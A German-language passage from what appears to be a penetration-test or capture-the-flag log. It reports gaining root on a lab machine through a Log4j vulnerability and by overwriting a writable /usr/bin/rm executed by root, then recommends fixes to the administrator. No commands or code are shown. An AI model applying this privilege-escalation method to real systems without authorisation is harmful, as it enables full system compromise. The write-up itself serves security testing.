Bewertung: Fantastisch, die alternative Privilegienerhöhungsmethode über das Überschreiben von /usr/bin/rm funktioniert ebenfalls einwandfrei! Dies beweist, dass die schreibbare Berechtigung für System-Binaries eine kritische Schwachstelle ist, die es einem Low-Privilege Benutzer (wie "kang" oder "roger", wenn auch Roger Schreibzugriff hätte) ermöglicht, Root-Zugriff zu erlangen, sobald ein Root-Prozess das manipulierte Binary ausführt. Die Root-Flag konnte erfolgreich gefunden werden.
Empfehlung (Pentester): Ich habe erfolgreich Root-Zugriff über zwei verschiedene Methoden demonstriert: die kritische Log4j-Schwachstelle und die lokale Privilegienerhöhung durch falsche Dateiberechtigungen. Ich habe die Root-Flag gefunden und kann nun den Bericht abschließen.
Empfehlung (Admin): Dies ist ein eindeutiger Beweis für schwerwiegende Fehlkonfigurationen im System: eine ausnutzbare RCE-Schwachstelle und kritische Dateiberechtigungsfehler. Beide müssen umgehend behoben werden, um Root-Kompromittierung zu verhindern. Der Fund der Root-Flag bestätigt, dass ein Angreifer vollen Zugriff auf das System erlangen kann.